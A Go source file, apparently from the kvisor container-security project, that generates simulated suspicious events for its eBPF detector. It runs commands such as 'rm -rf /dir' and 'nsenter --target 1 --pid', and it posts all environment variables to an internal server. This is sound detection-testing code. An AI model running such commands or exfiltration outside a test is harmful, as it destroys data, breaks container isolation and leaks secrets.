github.com/castai/kvisor@v1.7.1-0.20240516114728-b3572a2607b5/cmd/event-generator/app/event.go (about) 1 package app 2 3 import ( 4 "context" 5 "fmt" 6 "math/rand" 7 "net/http" 8 "os" 9 "os/exec" 10 "strings" 11 "time" 12 13 "github.com/castai/kvisor/pkg/logging" 14 ) 15 16 var ( 17 rnd *rand.Rand 18 ) 19 20 func init() { 21 rnd = rand.New(rand.NewSource(time.Now().Unix())) //nolint:gosec 22 } 23 24 func newEventRunner(log *logging.Logger) *eventRunner { 25 return &eventRunner{ 26 log: log, 27 events: []event{ 28 newEventRemoteHTTPCall(), 29 newEventExecBinary(), 30 newEventStealEnvVariables(), 31 }, 32 } 33 } 34 35 type eventRunner struct { 36 log *logging.Logger 37 events []event 38 } 39 40 func (er *eventRunner) run(ctx context.Context) error { 41 ei := rnd.Intn(len(er.events)) 42 selectedEvent := er.events[ei] 43 er.log.Debugf("running event, name=%s", selectedEvent.getName()) 44 if err := selectedEvent.run(ctx); err != nil { 45 return fmt.Errorf("running event, name=%s: %w", selectedEvent.getName(), err) 46 } 47 wait := time.Minute 48 er.log.Debugf("done, name=%s, waiting %v before exit", selectedEvent.getName(), wait) 49 // Wait some time to ensure ebpf events are collected. 50 time.Sleep(wait) 51 return nil 52 } 53 54 type event interface { 55 getName() string 56 run(ctx context.Context) error 57 } 58 59 func newEventRemoteHTTPCall() *eventHTTPCall { 60 return &eventHTTPCall{ 61 websites: []string{ 62 "google.com", 63 "youtube.com", 64 "facebook.com", 65 "twitter.com", 66 "instagram.com", 67 "baidu.com", 68 "wikipedia.org", 69 "yahoo.com", 70 "whatsapp.com", 71 "amazon.com", 72 "netflix.com", 73 "yahoo.co.jp", 74 "live.com", 75 "zoom.us", 76 "reddit.com", 77 "vk.com", 78 "office.com", 79 "linkedin.com", 80 "discord.com", 81 "tiktok.com", 82 "twitch.tv", 83 "naver.com", 84 "roblox.com", 85 "bing.com", 86 "pinterest.com", 87 }, 88 } 89 } 90 91 type eventHTTPCall struct { 92 websites []string 93 } 94 95 func (e *eventHTTPCall) getName() string { 96 return "http-call" 97 } 98 99 func (e *eventHTTPCall) run(ctx context.Context) error { 100 domain := e.websites[rnd.Intn(len(e.websites))] 101 resp, err := http.Get(fmt.Sprintf("https://%s", domain)) //nolint:noctx 102 if err != nil { 103 return err 104 } 105 defer resp.Body.Close() 106 return nil 107 } 108 109 func newEventExecBinary() *eventExecBinary { 110 return &eventExecBinary{} 111 } 112 113 type eventExecBinary struct { 114 } 115 116 func (e *eventExecBinary) getName() string { 117 return "exec" 118 } 119 120 func (e *eventExecBinary) run(ctx context.Context) error { 121 cmds := [][]string{ 122 {"wget", "google.com"}, 123 {"apt", "list"}, 124 {"rm", "-rf", "/dir"}, 125 {"mount"}, 126 {"nsenter", "--target", "1"}, 127 {"nsenter", "--target", "1", "--pid"}, 128 } 129 cmd := cmds[rnd.Intn(len(cmds))] 130 out, err := exec.Command(cmd[0], cmd[1:]...).CombinedOutput() //nolint:gosec 131 if err != nil { 132 return fmt.Errorf("%s:%w", string(out), err) 133 } 134 return nil 135 } 136 137 func newEventStealEnvVariables() *eventStealEnvVariables { 138 return &eventStealEnvVariables{} 139 } 140 141 type eventStealEnvVariables struct { 142 } 143 144 func (e *eventStealEnvVariables) getName() string { 145 return "steam-env-variables" 146 } 147 148 func (e *eventStealEnvVariables) run(ctx context.Context) error { 149 envs := os.Environ() 150 // TODO(patrick.pichler): This is broken for sure, either think about how to fix it, or delete it. 151 req, err := http.NewRequestWithContext(ctx, http.MethodPost, "http://kvisord-server.kvisord", strings.NewReader(strings.Join(envs, ","))) 152 if err != nil { 153 return err 154 } 155 resp, err := http.DefaultClient.Do(req) 156 if err != nil { 157 return err 158 } 159 defer resp.Body.Close() 160 return nil 161 }